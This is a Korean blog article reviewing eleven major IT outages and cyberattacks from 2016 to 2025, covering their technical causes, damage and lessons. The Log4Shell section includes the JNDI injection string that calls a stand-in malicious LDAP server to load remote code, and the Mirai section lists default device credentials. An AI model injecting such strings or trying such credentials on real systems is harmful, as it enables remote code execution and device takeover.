오늘은 2026년 7월 19일. 정확히 2년 전 오늘, 전 세계 공항의 전광판이 동시에 파랗게 변했습니다.

체크인 카운터에는 손으로 쓴 탑승권이 등장했고, 병원에서는 수술이 밀렸고, 방송국은 생방송을 중단했습니다. 해킹도 아니고 전쟁도 아니었어요. 보안 회사가 배포한 41KB짜리 설정 파일 하나 때문이었습니다.

인터넷은 생각보다 훨씬 자주, 훨씬 크게 멈춥니다. 그리고 멈추는 이유는 대체로 둘 중 하나예요. 누군가 들어왔거나(공격), 우리가 실수했거나(사고).

이 글에서는 역사상 가장 파괴적이었던 IT 마비 사태 11건을 하나씩, 어디로 어떻게 침입했고 / 기술적으로 무엇이 깨졌고 / 얼마나 피해가 났고 / 무엇을 배웠는지까지 상세하게 뜯어봅니다.

모든 항공편 정보가 파란 오류 화면으로 바뀐 공항 전광판 콘셉트 모든 항공편 정보가 파란 오류 화면으로 바뀐 공항 전광판 콘셉트 — 출처: agy 생성

먼저 알아둘 것 — ‘마비’에는 두 얼굴이 있다

같은 “먹통”이라도 성격이 완전히 다릅니다. 이 구분을 알고 보면 사건들이 훨씬 잘 정리돼요.

사고형 (Failure)

악의가 없습니다. 업데이트·설정·전력·냉각 같은 운영 행위가 방아쇠가 됩니다. 범위가 순식간에 전 세계로 퍼지지만, 원인을 찾으면 비교적 빨리 복구됩니다.

공격형 (Attack)

의도가 있습니다. 침입 → 잠복 → 확산 → 파괴의 단계를 밟습니다. 복구가 훨씬 오래 걸리고, 데이터가 유출되거나 영구 손상됩니다.

  • 흥미로운 건, 최근 10년 최대 규모 마비 사태 1위가 공격이 아니라 사고였다는 점입니다.

한 줄 요약: 인터넷을 멈추는 데 해커가 꼭 필요한 건 아니다. 잘못 배포된 파일 한 개면 충분하다.

PART 1. 사고가 세상을 멈춘 날들

━━━━━━━━━━━━━

① 크라우드스트라이크 대란 (2024.7.19) — 사상 최대 IT 장애

CrowdStrike 로고 CrowdStrike 로고 — 출처: CrowdStrike

무슨 일이 있었나

2024년 7월 19일 04시 09분(UTC), 보안 기업 CrowdStrike는 자사 EDR(단말 탐지·대응) 제품 Falcon Sensor에 ‘급속 대응 콘텐츠(Rapid Response Content)’ 업데이트를 배포했습니다. 흔한 위협 탐지 규칙 업데이트였어요.

78분 뒤인 05시 27분에 배포를 철회했지만, 이미 받은 기기는 부팅 자체가 불가능한 상태였습니다.

기술적 원인 — 커널에서 읽으면 안 되는 곳을 읽었다

핵심은 이것입니다. Falcon Sensor는 커널 모드 드라이버(CSAgent.sys)로 동작합니다. 운영체제의 가장 깊은 곳에서 돌기 때문에, 여기서 오류가 나면 앱 하나가 죽는 게 아니라 시스템 전체가 죽습니다.

① 문제의 Channel File 291은 탐지 규칙을 담은 설정 데이터 파일이었습니다. ② 드라이버 안의 템플릿은 입력 필드를 21개 기대하도록 되어 있었는데, 실제로 전달된 필드는 20개였습니다. ③ 드라이버가 존재하지 않는 21번째 필드를 읽으려 하면서 범위 밖 메모리 읽기(out-of-bounds read)가 발생했습니다. ④ 커널에서 처리되지 않은 예외 → 즉시 블루스크린(BSOD) → 재부팅 → 같은 파일을 다시 읽음 → 다시 블루스크린. 무한 부팅 루프.

  • 가장 뼈아픈 지점은, 이 파일을 걸러냈어야 할 콘텐츠 검증기(Content Validator)에 버그가 있어서 그냥 통과시켰다는 것입니다. 게다가 이 콘텐츠는 코드 업데이트와 달리 단계적 배포(카나리) 없이 전 세계에 동시에 뿌려졌습니다.

피해 규모

  • 마이크로소프트 추산 약 850만 대의 Windows 기기가 다운됐습니다. 전체 Windows의 1% 미만이지만, 하필 기업·인프라용 기기에 집중돼 있었습니다.
  • 전 세계 항공편 5,000편 이상이 결항됐습니다.
  • 델타항공은 약 7,000편 취소·승객 130만 명 영향·약 5억 달러(약 7,000억 원) 손실을 주장하며 소송을 제기했고, CrowdStrike는 “델타 자신의 과실”이라며 맞소송했습니다.
  • 포춘 500 기업의 직접 손실만 약 54억 달러(약 7조 5,600억 원). 업종별로는 헬스케어 19.4억 달러, 은행 11.5억 달러, 항공(포춘 500 소속) 8.6억 달러 순이었습니다.
  • 이 중 보험으로 회수 가능한 금액은 10~20%에 불과했습니다.

왜 복구가 그렇게 오래 걸렸나

패치를 배포할 수가 없었기 때문입니다. 기기가 부팅되지 않으니 네트워크로 고칠 방법이 없었어요.

복구 절차는 안전 모드로 부팅해 문제 파일(C-00000291*.sys)을 손으로 삭제하는 것. 즉 기기 한 대 한 대에 사람이 물리적으로 접근해야 했습니다. 여기에 BitLocker로 디스크가 암호화된 기업 PC는 복구 키까지 필요했는데, 그 키를 관리하는 서버도 같이 다운된 경우가 많았습니다.

교훈

“설정 데이터는 코드가 아니다”라는 착각이 가장 위험합니다. 코드는 신중히 단계 배포하면서, 데이터·규칙·설정 파일은 검증 없이 전역에 즉시 뿌리는 관행이 사고를 만들었습니다.

━━━━━━━━━━━━━

② AWS us-east-1 대장애 (2025.10.20) — DNS 경쟁 조건 하나

AWS 로고 AWS 로고 — 출처: AWS

무슨 일이 있었나

2025년 10월 20일 새벽(미 동부 기준 03시 11분), 아마존웹서비스의 최대 리전인 us-east-1(버지니아 북부)에서 DynamoDB 장애가 발생했고, 이것이 리전 전체로 연쇄됐습니다. 사실상 정상화까지 약 15시간이 걸렸습니다.

기술적 원인 — 오래된 계획서가 새 계획서를 덮어썼다

AWS는 DynamoDB의 DNS 레코드를 자동으로 관리합니다. DNS Planner가 ‘어떤 IP를 가리킬지’ 계획을 만들고, DNS Enactor가 그 계획을 실제로 적용하는 구조예요.

① 여러 개의 Enactor 프로세스가 동시에 실행되는 상황이 발생했습니다. ② 오래된 계획을 들고 있던 Enactor가, 이미 반영된 더 새로운 계획을 덮어썼습니다. (잠복해 있던 경쟁 조건 — race condition) ③ 그 뒤 정리(cleanup) 자동화가 “이건 오래된 계획이네”라며 그 레코드를 삭제해 버렸습니다. ④ 결과적으로 dynamodb.us-east-1.amazonaws.com의 DNS 레코드가 텅 빈 상태가 됐습니다. ⑤ 자동 복구 로직도 이 상태를 되돌리지 못해, 사람이 직접 개입해야 했습니다.

  • 진짜 문제는 그 다음입니다. AWS 내부의 다른 서비스들이 DynamoDB에 의존하고 있었기 때문에, EC2 신규 인스턴스 생성·Lambda 실행·Fargate 태스크 시작까지 줄줄이 실패했습니다. 데이터베이스 하나의 DNS가 리전 전체를 끌어내린 셈입니다.

피해 규모

  • Downdetector에 650만 건 이상의 장애 제보, 1,000개 이상의 서비스가 영향받았습니다.
  • 스냅챗(일간 3.75억 명), 포트나이트, 로블록스, Ring 도어벨, 맥도날드 모바일 주문, 유나이티드항공 예약 시스템, 심지어 영국 국세청(HMRC) 웹사이트까지 멈췄습니다.
  • 사이버 리스크 분석 기업 CyberCube는 이 사고의 보험 손실만 최대 5.81억 달러(약 8,134억 원)로 추정했습니다.

대응과 교훈

AWS는 문제의 DNS Planner와 Enactor 자동화를 전 세계적으로 비활성화한 뒤, 경쟁 조건을 수정하고 잘못된 DNS 계획이 적용되지 않도록 보호 장치를 추가하고 나서야 재가동했습니다.

  • 교훈은 명확합니다. “멀티 AZ”는 리전 장애를 막아주지 않습니다. 그리고 us-east-1은 많은 글로벌 서비스의 기본값이라, 이 리전 하나가 사실상 인터넷의 단일 장애점 역할을 하고 있습니다. (실제로 2026년 5월에도 us-east-1의 한 가용영역에서 전력·냉각 문제로 EC2 장애가 재발했습니다.)

━━━━━━━━━━━━━

③ 클라우드플레어 장애 (2025.11.18) — 파일 크기가 2배가 되자

Cloudflare 로고 Cloudflare 로고 — 출처: Cloudflare

무슨 일이 있었나

2025년 11월 18일 11시 20분(UTC), 전 세계 웹 트래픽의 상당 부분을 처리하는 CDN·보안 기업 Cloudflare의 네트워크가 핵심 트래픽 전달에 실패하기 시작했습니다. 약 5시간 30분간 X(구 트위터), ChatGPT, Spotify 등 수많은 서비스가 접속 불가 상태가 됐습니다.

기술적 원인 — 권한 변경 → 중복 행 → 크기 초과 → 크래시

① 11시 05분, 내부 데이터베이스(ClickHouse)의 권한 설정을 변경했습니다. ② 그러자 봇 관리(Bot Management) 기능이 쓰는 feature 파일을 만드는 쿼리가 중복된 행을 반환하기 시작했고, 파일 크기가 정확히 2배가 됐습니다. ③ 트래픽을 라우팅하는 핵심 프록시 소프트웨어에는 이 파일의 항목 수에 대한 하드코딩된 상한이 있었습니다. ④ 상한을 초과하자 프록시가 패닉을 일으키며 크래시했습니다. 트래픽을 처리할 주체가 사라진 겁니다. ⑤ 이 파일은 5분마다 전 네트워크에 재배포됐기 때문에, 정상 파일과 불량 파일이 번갈아 배포되며 서비스가 살아났다 죽었다를 반복했습니다. 이 요동 때문에 Cloudflare 내부에서도 초기에는 대규모 DDoS 공격을 의심했습니다.

피해와 교훈

Cloudflare는 사후 분석에서 “사이버 공격이나 악의적 활동에 의한 것이 전혀 아니었다”고 명시했습니다. 이후 ‘Code Orange: Fail Small’이라는 회복력 개선 계획을 발표했어요.

  • 교훈: 입력 데이터의 크기·형태 변화가 코드보다 먼저 시스템을 죽인다. 그리고 하드코딩된 상한은 ‘절대 넘지 않을 값’이라고 믿는 순간부터 폭탄이 됩니다.

━━━━━━━━━━━━━

④ 메타 6시간 실종 (2021.10.4) — 인터넷에서 스스로를 지우다

네트워크 지도에서 한 클러스터의 경로가 통째로 사라진 콘셉트 네트워크 지도에서 한 클러스터의 경로가 통째로 사라진 콘셉트 — 출처: agy 생성

무슨 일이 있었나

2021년 10월 4일 15시 39분(UTC), 페이스북·인스타그램·왓츠앱·메신저·오큘러스가 동시에 전 세계에서 사라졌습니다. 약 6~7시간, 이용자 35억 명이 영향을 받았습니다.

기술적 원인 — BGP 경로 철회의 도미노

① 백본 네트워크 용량을 점검하는 명령을 실행했는데, 이 명령이 모든 데이터센터의 연결을 끊어버렸습니다. ② 페이스북의 권한 DNS 서버는 “데이터센터에 연결할 수 없으면 스스로 BGP 경로를 철회한다”고 설계돼 있었습니다. 문제가 있는 서버로 트래픽이 가지 않게 하려는 안전장치였죠. ③ 그런데 모든 데이터센터가 끊겼으니, 모든 DNS 서버가 동시에 경로를 철회했습니다. ④ 결과적으로 인터넷의 라우팅 테이블에서 페이스북이라는 목적지 자체가 사라졌습니다. 도메인을 IP로 바꿀 방법이 없어진 거예요.

  • 여기에 잔인한 반전이 있습니다. 사내 커뮤니케이션 도구, 원격 복구 도구, 심지어 데이터센터 출입 사원증 시스템까지 같은 네트워크에 있었습니다. 엔지니어들이 서버실 문을 열지 못해 복구가 지연됐습니다.

피해 규모

  • 광고 매출 손실 약 6,000만 달러(약 840억 원)
  • 주가 4.9% 하락 → 시가총액 470억 달러(약 65조 8,000억 원) 증발
  • 트위터·디스코드·시그널·텔레그램으로 이용자가 몰리며 그 서비스들까지 장애

비슷한 사례 — 구글 클라우드 (2025.6.12)

같은 성격의 사고가 2025년에도 있었습니다. 잘못된 자동 쿼터(quota) 업데이트가 구글의 API 관리 시스템에 전역으로 배포되면서 외부 API 요청이 무더기로 거부됐어요. Gmail·드라이브·미트는 물론 Spotify·디스코드·스냅챗·npm까지 약 3시간 이상 영향을 받았습니다. 구글은 테스트와 오류 처리 미흡을 원인으로 인정했습니다.

교훈

“안전장치가 최대의 위험”이 되는 전형입니다. 그리고 복구 수단을 장애 대상과 같은 네트워크에 두면 안 됩니다.

━━━━━━━━━━━━━

⑤ 국내 사례 — 판교 화재(2022)와 국정자원 화재(2025)

데이터센터 UPS 배터리실에서 한 랙이 붉게 달아오르는 콘셉트 데이터센터 UPS 배터리실에서 한 랙이 붉게 달아오르는 콘셉트 — 출처: agy 생성

한국에서 벌어진 두 건은 소프트웨어가 아니라 물리 인프라가 원인이었다는 점에서 특히 중요합니다.

SK C&C 판교 데이터센터 화재 (2022.10.15)

  • 10월 15일 15시 19분, SK C&C 판교 데이터센터 지하 3층 전기실 배터리실에서 화재가 발생했습니다. 완전 진화는 23시 45분.
  • 원인은 무정전 전원장치(UPS)용 리튬이온 배터리. 배터리 랙 5개가 전소했습니다(약 1~2MWh 규모).
  • 화재 진압을 위해 전원을 차단하면서, 이 센터에 있던 카카오의 서버 3만 2,000여 대가 한꺼번에 멈췄습니다.
  • 카카오톡 메시지 송수신 장애만 10시간 이상, 전체 서비스 완전 정상화까지 127시간 33분이 걸렸습니다.
  • 이용자 보상액 약 275억 원, 서비스 중단까지 포함한 총 피해는 1,500억~2,000억 원으로 추산됩니다.
  • 근본 문제는 이중화 실패였습니다. 서비스는 여러 센터에 분산돼 있었지만, 서비스를 되살리는 데 필요한 관리·운영 도구가 판교 한 곳에 몰려 있었습니다.
  • 이 사건 이후 방송통신발전기본법 등이 개정돼 주요 데이터센터가 국가 재난관리 대상에 포함됐습니다.

국가정보자원관리원 화재 (2025.9.26)

  • 2025년 9월 26일 20시 15분경, 대전 국가정보자원관리원 본원 5층 전산실에서 화재가 발생했습니다.
  • 원인은 리튬이온 배터리 이설 작업 중의 인재였습니다. 배터리를 옮기려면 모든 전원을 차단해야 했는데, 일부 전원을 끄지 않고 절연 조치도 없이 작업했습니다. 수사 결과 작업자 과실로 결론 나 관계자 19명이 송치됐습니다.
  • 7-1 전산실(520.84㎡)이 사실상 전소했고, 전산장비 740대·배터리 384대가 소실됐습니다.
  • 정부 시스템 647개가 중단됐습니다. 정부24, 모바일 신분증, 국민신문고, 안전디딤돌 등 국민 생활과 직결된 서비스들이 포함됐어요.
  • 특히 전소한 5층의 96개 시스템은 장기 장애가 불가피했습니다. 화재 13일째 전체 복구율이 25%대에 그쳤고, 일부는 대구센터로 이전해 재구축해야 했습니다.
  • 가장 아팠던 건 백업이었습니다. 일부 시스템은 백업본이 같은 건물·같은 층에 있어 함께 사라졌습니다.

교훈

클라우드든 국가 전산망이든, 결국 어딘가의 물리적인 방 한 칸에 들어 있습니다. 그리고 그 방에는 요즘 리튬이온 배터리가 가득합니다. 백업은 다른 건물, 다른 지역에 있어야 의미가 있습니다.

PART 2. 공격이 세상을 멈춘 날들

━━━━━━━━━━━━━

⑥ 워너크라이 (2017.5.12) — 국가 사이버무기가 유출되면

워너크라이 초기 확산 당시 피해 국가 지도 워너크라이 초기 확산 당시 피해 국가 지도 — 출처: Wikimedia Commons / Roke (CC BY-SA 3.0)

침입 경로 — NSA가 만든 무기, 해커가 유출, 범죄자가 사용

① 미국 국가안보국(NSA)이 Windows의 SMBv1 프로토콜 취약점(CVE-2017-0144)을 이용하는 공격 도구 EternalBlue를 개발해 비밀리에 보유하고 있었습니다. ② 2017년 4월, 섀도 브로커스(Shadow Brokers)라는 그룹이 이 도구를 인터넷에 공개했습니다. ③ 한 달 뒤, 정체불명의 공격자가 이를 랜섬웨어에 결합했습니다.

  • 결정적인 건 자가 확산(웜) 기능이었습니다. 사용자가 아무것도 클릭하지 않아도, 445번 포트가 열린 같은 네트워크의 PC로 스스로 옮겨 다니며 감염시켰습니다. 감염 후에는 DoublePulsar 백도어를 심고 파일을 암호화한 뒤 300~600달러어치 비트코인을 요구했습니다.

뼈아픈 사실

마이크로소프트는 두 달 전인 2017년 3월 14일에 이미 패치(MS17-010)를 배포했습니다. 즉 패치를 적용하지 않은 시스템만 감염됐습니다. 피해의 대부분은 예산·호환성 문제로 구형 Windows를 쓰던 병원·공장·공공기관이었습니다.

피해 규모

  • 24시간 만에 150개국 20만 대 이상 감염
  • 영국 국민보건서비스(NHS)에서 진료·수술 예약 1만 9,000건 취소, 피해액 약 9,200만 파운드(약 1,700억 원). MRI 장비와 혈액 보관 냉장고까지 멈췄습니다.
  • 전 세계 피해액 추정 최대 40억 달러(약 5조 6,000억 원)

어떻게 멈췄나

영국의 보안 연구원 마커스 허친스가 악성코드 안에서 미등록 도메인을 발견하고 10.69달러에 등록했습니다. 이 도메인이 응답하자 악성코드가 확산을 중단했습니다. 우연히 발견한 킬 스위치였어요. 시작 7시간 만인 15시 03분(UTC)의 일이었습니다.

  • 이후 미국과 영국은 이 공격을 북한 라자루스 그룹의 소행으로 공식 지목했습니다. 참고로 몸값 실수령액은 14만 달러 수준으로 매우 적었는데, 애초에 결제자를 식별해 복호화해줄 구조 자체가 없었습니다.

━━━━━━━━━━━━━

⑦ 낫페트야 (2017.6.27) — 역사상 가장 비싼 사이버 공격

정상 인증을 통과한 업데이트 하나에만 악성코드가 숨어 배포되는 공급망 공격 콘셉트 정상 인증을 통과한 업데이트 하나에만 악성코드가 숨어 배포되는 공급망 공격 콘셉트 — 출처: agy 생성

침입 경로 — 회계 소프트웨어 업데이트 서버

한 달 뒤 벌어진 이 사건은 워너크라이보다 훨씬 정교하고 훨씬 파괴적이었습니다.

① 공격자는 우크라이나에서 세금 신고에 널리 쓰이는 회계 소프트웨어 M.E.Doc의 업데이트 서버를 장악했습니다. ② 정상적으로 서명된 업데이트 파일에 악성코드를 주입했습니다. ③ 우크라이나에서 사업하는 기업이라면 사실상 의무적으로 쓰는 소프트웨어였기 때문에, 업데이트를 받는 행위 자체가 감염이 됐습니다.

확산 방식 — 패치해도 소용없었다

낫페트야가 무서웠던 건 확산 로직입니다.

  • EternalBlue + EternalRomance (미패치 시스템 공략)
  • Mimikatz — 감염된 PC의 메모리에서 관리자 자격증명을 탈취
  • PsExec, WMI — 훔친 자격증명으로 정상적인 관리 도구를 이용해 이동
  • 즉 네트워크 안에 관리자 권한 PC가 한 대만 감염되면, 패치를 다 한 시스템까지 정당한 자격증명으로 침투당했습니다. 백신이 막기 어려운 구조였어요.

진짜 정체 — 랜섬웨어가 아니라 와이퍼

몸값을 요구하는 화면을 띄웠지만, 복호화가 원천적으로 불가능했습니다. 디스크의 MBR을 덮어쓰고 키를 폐기했기 때문입니다. 돈이 목적이 아니라 파괴가 목적이었습니다. 미국·영국 정부는 러시아 군정보국(GRU) 소속 샌드웜(Sandworm)의 소행으로 지목했습니다.

피해 규모 — 총 100억 달러(약 14조 원)

  • 머크(Merck) — 8.7억 달러(약 1조 2,180억 원). 백신 생산 라인까지 멈췄습니다.
  • 페덱스/TNT Express — 약 4억 달러(약 5,600억 원)
  • 머스크(Maersk) — 2.5~3억 달러(약 3,500억~4,200억 원). 세계 최대 해운사의 전 세계 76개 항만 터미널 운영이 중단됐습니다. 서버 4,000대, PC 4만 5,000대를 10일 만에 재구축했어요.
  • 머스크 이야기에는 유명한 일화가 있습니다. 도메인 컨트롤러가 전 세계에서 모두 파괴됐는데, 가나 라고스 지사의 서버 한 대가 마침 정전으로 꺼져 있어서 감염을 피했습니다. 회사 전체 복구가 사실상 우연히 살아남은 서버 한 대에 달려 있었습니다.

남긴 것 — ‘전쟁 배제 조항’ 논쟁

머크의 보험사는 “국가 주도 공격은 전쟁 행위이므로 보상 대상이 아니다”라며 지급을 거부했고, 긴 소송 끝에 2024년 합의로 마무리됐습니다. 이 사건은 사이버 보험의 판을 바꿨습니다.

━━━━━━━━━━━━━

⑧ 솔라윈즈 (2020) — 신뢰 그 자체를 해킹하다

침입 경로 — 빌드 시스템 침투

가장 조용하고, 가장 무서운 사건입니다.

① 2019년 9월, 공격자가 IT 관리 소프트웨어 기업 SolarWinds의 내부망에 침투해 먼저 테스트 코드를 심어봤습니다. 들키지 않는지 확인한 겁니다. ② 2020년 2월부터, SUNSPOT이라는 도구로 빌드 파이프라인 자체를 감염시켰습니다. 소스 코드 저장소가 아니라 컴파일되는 순간에 악성 코드를 끼워 넣는 방식이었어요. 개발자가 소스를 봐도 정상으로 보입니다. ③ 그 결과 SolarWinds의 정식 디지털 서명이 붙은 Orion 업데이트 파일에 백도어 SUNBURST가 들어갔습니다.

  • 이게 핵심입니다. 보안 검사를 통과한 게 아니라, 보안 검사의 기준 자체가 감염됐습니다.

잠복 기술

  • 설치 후 12~14일간 아무것도 하지 않고 대기
  • 도메인 생성 알고리즘(DGA)으로 만든 정상처럼 보이는 주소로 통신
  • 분석 환경·보안 제품·샌드박스를 감지하면 스스로 비활성화
  • 정상 Orion 트래픽을 흉내 낸 통신 프로토콜

피해 규모

  • 트로이목마 업데이트를 내려받은 고객 약 1만 8,000곳
  • 다만 실제로 후속 침투가 확인된 곳은 100곳 미만으로, 공격자가 표적을 선별했다는 뜻입니다.
  • 표적에는 미 재무부·국토안보부·국무부·에너지부 등 정부기관 9곳과 마이크로소프트·인텔·시스코 등이 포함됐습니다.
  • 미국은 러시아 대외정보국(SVR) 산하 APT29(코지 베어)의 소행으로 지목했습니다.

어떻게 들켰나

보안 기업 FireEye가 자사 레드팀 도구가 유출된 것을 조사하다가 우연히 발견했습니다. 즉 1년 넘게 아무도 몰랐습니다.

남긴 것

이 사건 이후 미국은 대통령 행정명령으로 SBOM(소프트웨어 자재명세서) 요구를 제도화했습니다. “이 소프트웨어에 어떤 부품이 들어 있는지” 목록을 내라는 겁니다. 또한 미 증권거래위원회(SEC)가 SolarWinds와 CISO 개인을 기소하면서, 보안 책임자의 법적 책임 범위를 놓고 업계 전체가 논쟁에 빠졌습니다.

━━━━━━━━━━━━━

⑨ 미라이 봇넷·Dyn DDoS (2016.10.21) — 가정용 카메라가 인터넷을 끊다

수많은 소형 IoT 기기가 하나의 서버로 트래픽을 쏟아붓는 봇넷 콘셉트 수많은 소형 IoT 기기가 하나의 서버로 트래픽을 쏟아붓는 봇넷 콘셉트 — 출처: agy 생성

침입 경로 — 공장 초기 비밀번호

① 미라이(Mirai) 악성코드는 인터넷에 연결된 IP 카메라·DVR·공유기·프린터·베이비 모니터를 끊임없이 스캔했습니다. ② 침입 방법은 놀라울 만큼 단순했습니다. admin/admin, root/12345 같은 공장 출고 기본 계정 61개를 차례로 대입하는 것. ③ 비밀번호를 바꾸지 않은 기기는 그대로 봇넷에 편입됐습니다. 소유자는 자기 카메라가 공격에 쓰이는지도 몰랐습니다.

공격 — 인터넷의 ‘전화번호부’를 노리다

2016년 10월 21일, 이 봇넷은 웹사이트가 아니라 DNS 서비스 제공업체 Dyn을 공격했습니다. 3차례에 걸친 DDoS의 최대 트래픽은 1.2Tbps, 당시 기록상 최대 규모였습니다. 수천만 개의 IP에서 요청이 쏟아졌습니다.

  • 영리한(그리고 악랄한) 선택이었습니다. 사이트 자체는 멀쩡한데 주소를 찾아주는 안내소가 마비되니 아무도 접속할 수 없었습니다.

피해 규모

  • 트위터, 넷플릭스, 스포티파이, 레딧, 깃허브, 에어비앤비, 페이팔, 뉴욕타임스 등 접속 불가
  • 미국 동부와 유럽 일부가 사실상 인터넷 반나절 마비
  • Dyn은 2시간 내에 완화에 성공했지만, 이후 고객 1만 4,000곳(전체의 8%)이 이탈했습니다.

남긴 것

미라이 소스 코드는 공격 직전 공개돼 수많은 변종을 낳았고, 지금도 IoT 봇넷의 원형으로 살아 있습니다. 이 사건은 각국의 IoT 보안 규제(기본 비밀번호 금지, 고유 비밀번호 의무화)를 촉발했습니다.

━━━━━━━━━━━━━

⑩ Log4Shell (2021.12) — 로그를 남기는 모든 곳이 공격 표면

무슨 취약점인가

2021년 12월 9일 공개된 CVE-2021-44228. CVSS 점수 10.0 만점, 역사상 최악의 취약점으로 꼽힙니다.

문제는 자바 진영에서 사실상 표준처럼 쓰이는 로깅 라이브러리 Apache Log4j 2에 있었습니다.

① Log4j에는 로그 문자열 안의 특정 패턴을 해석하는 JNDI lookup 기능이 있었습니다. ② 공격자가 ${jndi:ldap://악성서버/코드} 형태의 문자열을 어딘가에 남기기만 하면, ③ 서버가 그 문자열을 로그로 기록하는 순간 외부 서버에서 코드를 내려받아 실행했습니다. 인증도, 클릭도 필요 없는 원격 코드 실행(RCE)입니다.

왜 그렇게 심각했나

로그에 남는 모든 것이 공격 통로가 됐기 때문입니다. 웹 요청의 User-Agent 헤더, 검색어, 로그인 아이디, 심지어 게임 채팅 메시지와 아이폰 기기 이름까지요. 실제로 마인크래프트 채팅창에 문자열을 치는 것만으로 서버를 장악하는 시연이 돌아다녔습니다.

피해 규모

  • Log4j는 수많은 기업용 소프트웨어와 클라우드 서비스에 부품처럼 박혀 있었습니다. 잠재적으로 수억 대 규모의 기기가 영향권이었습니다.
  • 공개 직후 전 세계에서 스캔·공격 시도가 폭증했고, 이란·중국·북한 연계 국가 배후 그룹의 악용이 확인됐습니다.
  • 미국 CISA는 연방기관에 긴급 지시를 내렸고, 사이버안전검토위원회(CSRB)는 이를 “풍토병적(endemic) 취약점 — 향후 10년 이상 영향이 지속될 것”이라고 평가했습니다.

가장 상징적인 장면

전 세계 인프라를 지탱하던 이 라이브러리는 무보수 자원봉사 개발자 몇 명이 유지보수하고 있었습니다. 이들이 주말을 반납하고 패치를 만들었어요.

  • 이 사건은 “우리가 뭘 쓰고 있는지조차 모른다”는 문제를 드러냈습니다. 자산 목록(SBOM)이 없으면 패치할 대상도 모릅니다.

━━━━━━━━━━━━━

⑪ 랜섬웨어가 현실 인프라를 멈춘 두 사건

여러 겹의 방어막이 공격을 단계적으로 걸러내는 다층 방어 콘셉트 여러 겹의 방어막이 공격을 단계적으로 걸러내는 다층 방어 콘셉트 — 출처: agy 생성

콜로니얼 파이프라인 (2021.5.7) — 미국 동부의 기름이 끊기다

침입 경로: 랜섬웨어 조직 다크사이드(DarkSide)는 더 이상 쓰지 않는 레거시 VPN 계정 하나로 들어왔습니다. 그 계정의 비밀번호는 다른 서비스에서 유출된 것과 동일했고(재사용), 결정적으로 다중 인증(MFA)이 없었습니다.

피해: 감염된 건 IT 업무망이었고 파이프라인 제어망(OT)은 직접 감염되지 않았습니다. 하지만 정확한 과금이 불가능해지자 회사가 자발적으로 파이프라인을 중단했습니다. 미 동부 연료 공급의 45%를 담당하는 송유관이 멈추자 사재기가 벌어졌고, 17개 주가 비상사태를 선포했습니다.

몸값: 75비트코인(당시 약 440만 달러, 약 62억 원)을 지불했습니다. FBI가 나중에 63.7비트코인을 회수했지만, 받은 복호화 도구가 너무 느려 결국 자체 백업으로 복구했습니다. 돈만 날린 셈이죠.

체인지 헬스케어 (2024.2) — 미국 의료 결제망 마비

침입 경로: MFA가 적용되지 않은 Citrix 원격 접속 포털에 탈취한 자격증명으로 로그인. 이후 9일간 조용히 내부를 이동하며 6TB의 데이터를 빼낸 뒤 랜섬웨어를 터뜨렸습니다. UnitedHealth Group CEO는 의회 청문회에서 MFA 부재를 직접 시인했습니다.

피해: 체인지 헬스케어는 미국 처방·보험 청구의 약 3분의 1을 처리합니다. 이 시스템이 멈추자 병원과 약국이 청구를 못 해 현금 흐름이 말랐고, 미국 병원의 약 94%가 영향을 받았습니다.

규모: 개인정보 유출 1억 9,270만 명 — 미국 역사상 최대 규모의 의료 정보 유출입니다. 몸값 2,200만 달러(약 308억 원)를 지불했지만, ALPHV 조직이 출구 사기로 잠적했고 다른 조직(RansomHub)이 2차 협박을 걸어왔습니다. UnitedHealth의 총 비용은 30억 9,000만 달러(약 4조 3,260억 원)를 넘겼습니다.

  • 두 사건의 공통점은 딱 하나입니다. MFA가 없었다는 것. 수조 원짜리 피해가 무료 기능 하나에서 갈렸습니다.

피해 규모 한눈에 보기

피해액이 큰 순서로 정리하면 이렇습니다.

① 낫페트야 (2017.6 · 공격/와이퍼) 회계 소프트웨어 업데이트 서버 장악 → 약 100억 달러(약 14조 원)

② 크라우드스트라이크 (2024.7 · 사고) 검증 실패한 커널 드라이버 설정 파일 → 포춘500 직접손실 54억 달러

③ 워너크라이 (2017.5 · 공격/랜섬웨어) 유출된 NSA 취약점 + 미패치 시스템 → 최대 40억 달러

④ 체인지 헬스케어 (2024.2 · 공격/랜섬웨어) MFA 없는 원격 접속 포털 → 총비용 30.9억 달러, 유출 1억 9,270만 명

⑤ AWS us-east-1 (2025.10 · 사고) DynamoDB DNS 경쟁 조건 → 보험손실 추정 5.8억 달러, 약 15시간

⑥ 메타 6시간 실종 (2021.10 · 사고) BGP 경로 전면 철회 → 시총 470억 달러 증발, 35억 명 영향

⑦ 국정자원 화재 (2025.9 · 사고/물리) 배터리 이설 중 전원 미차단 → 정부 시스템 647개 중단

⑧ 카카오·판교 화재 (2022.10 · 사고/물리) UPS 리튬이온 배터리 화재 → 총피해 1,500~2,000억 원, 127시간

⑨ Dyn DDoS (2016.10 · 공격/DDoS) IoT 기기 공장 기본 비밀번호 → 최대 1.2Tbps, 북미·유럽 마비

⑩ 클라우드플레어 (2025.11 · 사고) 설정 파일 크기 상한 초과 → 5.5시간, 주요 서비스 다운

⑪ Log4Shell (2021.12 · 공격/취약점) 로깅 라이브러리 원격 코드 실행 → 잠재 영향 수억 대

반복되는 5가지 패턴

사건들을 나란히 놓으면 같은 패턴이 계속 보입니다.

① 업데이트 경로가 최고의 무기다

크라우드스트라이크(사고)·낫페트야(공격)·솔라윈즈(공격)는 성격이 완전히 다르지만 통로는 같습니다. “신뢰받는 배포 채널”이에요. 우리가 의심 없이 받아들이는 그 경로가 가장 빠르고 가장 넓은 감염 통로입니다.

② 설정 데이터가 코드보다 위험하다

크라우드스트라이크의 채널 파일, 클라우드플레어의 feature 파일, 구글의 쿼터 설정. 셋 다 “코드가 아니니까 괜찮다”며 단계 배포·테스트를 건너뛴 데이터였습니다. 그런데 실제 시스템 동작은 그 데이터가 결정합니다.

③ 다들 같은 곳에 몰려 있다

AWS us-east-1, Dyn의 DNS, 클라우드플레어의 프록시, 판교 IDC. 분산된 것처럼 보였지만 실은 한 점이었습니다. “우리는 이중화했다”는 말은 종종 애플리케이션만 이중화했다는 뜻입니다.

④ 결국 기본 위생 하나가 뚫린다

MFA 미적용(콜로니얼·체인지 헬스케어), 폐기 안 한 계정(콜로니얼), 재사용 비밀번호(콜로니얼), 두 달 전 나온 패치 미적용(워너크라이), 공장 기본 비밀번호(미라이). 화려한 제로데이보다 이 다섯 개가 더 많은 피해를 냈습니다.

⑤ 복구 수단이 사고 현장에 같이 있다

